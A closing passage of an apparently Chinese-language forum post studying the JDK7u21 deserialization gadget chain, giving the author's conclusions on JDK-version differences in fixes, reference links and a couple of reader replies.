所以,个人总结,网上讨论的两种修复方式其实都没有问题,只是因为不同的jdk版本导致了修复方式不完全一样,也导致payload会在不同的地方被拦截,从而出现不一样的错误。

如下图时在jdk1.8.151中出现的错误。

下图时在jdk7u25中出现的错误。

0x07 总结

整个jdk7u21反序列化gadget链的构建非常经典,链中融合了大量的基础知识以及小技巧,个人认为是对于理解并学习反序列化漏洞的必学知识点,此文是本人学习记录,如存在问题欢迎各位师傅斧正。

0x08 参考

https://p0rz9.github.io/2019/06/08/Ysoserial之JDK7u21分析/

https://xz.aliyun.com/t/6884#toc-12

https://paper.seebug.org/792/

本文首发在先知

4 个赞

厉害呀,都出书了。不知道是不是我QQ上面之前那个 panda ,如果是的话,我们之前好像还见过呢 :grimacing:

1 个赞